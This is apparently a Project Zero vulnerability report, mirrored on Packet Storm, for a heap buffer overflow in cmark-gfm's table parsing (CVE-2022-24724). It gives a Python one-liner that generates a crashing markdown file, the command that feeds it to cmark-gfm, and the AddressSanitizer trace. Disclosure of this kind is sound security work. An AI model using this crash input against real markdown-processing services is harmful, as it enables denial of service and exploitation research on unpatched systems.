

StumbleUpon

```
$ python3 -c 'print("\\|a|b|\\  
|-|-|\\  
\\|\"+ \"A\"*1380000 + \\|b|\\  
\\  
\\  
\\|+\"|\"|\"+ \"a|\" * 2 + \"|\"  
\\|\"+ \"|\":-|\" * ((2*16+2) + \"|\"  
|a|b|\" ) > /tmp/test.md  
$ ./src/cmark-gfm -e table /tmp/test.md
```

Apple (1,926)

```
==2096092==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f3aeaffd800 at pc 0x7f3affa99ca1 bp
0x7fffb4d5390 sp 0x7fffb4d5388
WRITE of size 1 at 0x7f3aeaffd800 thread T0
#0 0x7f3affa99ca0 in try_opening_table_header /usr/local/google/home/fwilhelm/code/cmark-
gfm/extensions/table.c:294
#1 0x7f3affa99ca0 in try_opening_table_block /usr/local/google/home/fwilhelm/code/cmark-
gfm/extensions/table.c:390
#2 0x7f3aff9e536c in open_new_blocks /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1286
#3 0x7f3aff9e536c in S_process_line /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1476
#4 0x7f3aff9e6ea0 in S_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:730
#5 0x7f3aff9e73fc in cmark_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:680
#6 0x563777eaaf4 in main /usr/local/google/home/fwilhelm/code/cmark-gfm/src/main.c:281
#7 0x7f3aff7fa7ec in __libc_start_main ../csu/libc-start.c:332
#8 0x563777eaa2f9 in _start (/usr/local/google/home/fwilhelm/code/cmark-gfm/build/src/cmark-gfm+0x32f9)
```

```
0x7f3aeaffd800 is located 0 bytes to the right of 9437184-byte region [0x7f3aea6fd800,0x7f3aeaffd800)
allocated by thread T0 here:
#0 0x7f3affb58987 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x7f3affa265a6 in alloc_arena_chunk /usr/local/google/home/fwilhelm/code/cmark-gfm/src/arena.c:19
#2 0x7f3affa267a8 in arena_malloc /usr/local/google/home/fwilhelm/code/cmark-gfm/src/arena.c:76
#3 0x7f3affa26a06 in cmark_list_append /usr/local/google/home/fwilhelm/code/cmark-gfm/src/linked_list.c:7
#4 0x7f3affa99204 in row_from_string /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:165
#5 0x7f3affa995cc in try_opening_table_header /usr/local/google/home/fwilhelm/code/cmark-
gfm/extensions/table.c:241
#6 0x7f3affa995cc in try_opening_table_block /usr/local/google/home/fwilhelm/code/cmark-
gfm/extensions/table.c:390
#7 0x7f3aff9e536c in open_new_blocks /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1286
#8 0x7f3aff9e536c in S_process_line /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1476
#9 0x7f3aff9e6ea0 in S_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:730
#10 0x7f3aff9e73fc in cmark_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:680
#11 0x563777eaaf4 in main /usr/local/google/home/fwilhelm/code/cmark-gfm/src/main.c:281
#12 0x7f3aff7fa7ec in __libc_start_main ../csu/libc-start.c:332
```

```
SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/fwilhelm/code/cmark-
gfm/extensions/table.c:294 in try_opening_table_header
Shadow bytes around the buggy address:
 0x0fe7dd5f7ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe7dd5f7ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe7dd5f7ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe7dd5f7ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe7dd5f7af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe7dd5f7b00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe7dd5f7b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe7dd5f7b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe7dd5f7b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe7dd5f7b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe7dd5f7b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2096092==ABORTING
...
```

(The first table is used to fill the arena allocator and trigger a clean crash report from ASAN. It's not required to trigger the bug)

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-05-16. For more details, see the Project Zero vulnerability disclosure policy: <https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html>

Related CVE Numbers: CVE-2022-24724.

Found by: fwilhelm@google.com

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed